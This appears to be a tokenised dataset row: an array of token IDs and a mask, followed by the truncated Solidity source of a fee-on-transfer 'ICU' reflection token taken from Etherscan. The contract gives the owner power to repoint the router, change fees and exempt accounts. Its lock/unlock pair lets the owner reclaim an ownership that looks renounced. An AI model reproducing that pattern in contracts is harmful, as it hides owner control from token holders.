1010,
3075,
1011,
2066,
8311,
1012,
1008,
1013,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
3477,
3085,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
3638,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-06-18
*/
/**
Transaction Tax:
2% auto yield to holders for every transaction (buy/sell) paid directly to holders wallet
1.75% sent to Team wallet
2% Burn Rate per transaction
2% Automatic liquidity added to the pool
*/
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
// pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
/**
Transaction Tax: 7.75%
2% auto yield direct to holders for every buy/sell (no staking)
1.75% sent direct to Team wallet
2% Burn Rate per tx
2% Automatic liquidity
*/
contract ICU is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 78 * 10**6 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "👁ICU👁";
string private _symbol = "👁ICU👁";
uint8 private _decimals = 18;
uint256 private constant DIVISION_FACTOR = 4; // fee precision up to 2 decimals
uint256 public _taxFee = 200; // 200 = 2.00%
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 200; // 150 = 1.50%
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public charityFee = 175;
uint256 public totalDonated;
address public CHARITY_WALLET;
uint public _burnRate = 200;
uint public _totalBurned;
uint256 public DROP_DIVISOR = 100;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 private numTokensSellToAddToLiquidity = 10**6 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () public {
_rOwned[_msgSender()] = _rTotal;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
CHARITY_WALLET = msg.sender;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function setPair(address _uniswapV2Pair) public onlyOwner() {
uniswapV2Pair = _uniswapV2Pair;
}
function setRouter(address routerAddress) public onlyOwner() {
uniswapV2Router = IUniswapV2Router02(routerAddress);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
require(taxFee <= 1000, 'Fee too high'); // max tax fee of 10%
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
require(liquidityFee <= 1000, 'Fee too high'); // max liq fee of 10%
_liquidityFee = liquidityFee;
}
function setBurnRate(uint amount) public onlyOwner() {
require (amount <= 1000, "Burn too high");
_burnRate = amount;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getBurnAmounts(uint amount) private view returns(uint, uint) {
uint _currentRate = _getRate();
uint tBurnAmount = amount.mul(_burnRate).div(10**DIVISION_FACTOR);
uint rBurnAmount = tBurnAmount.mul(_currentRate);
return(tBurnAmount, rBurnAmount);
}
function _burn(address sender, uint tBurnAmount, uint rBurnAmount) private {
if (_rOwned[address(sender)] <= rBurnAmount){
_rOwned[address(sender)] = 0;
} else {
_rOwned[address(sender)] -= rBurnAmount;
}
_tTotal = _tTotal.sub(tBurnAmount);
_rTotal = _rTotal.sub(rBurnAmount);
_totalBurned = _totalBurned.add(tBurnAmount);
emit Transfer(sender, address(0), tBurnAmount);
}
function burn(uint amount) public returns(bool) {
require(amount <= balanceOf(msg.sender), "insufficient amount");
require(amount > 0, "must be greater than 0");
uint _currentRate = _getRate();
uint tBurnAmount = amount;
uint rBurnAmount = tBurnAmount.mul(_currentRate);
_burn(msg.sender, tBurnAmount, rBurnAmount);
return true;
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
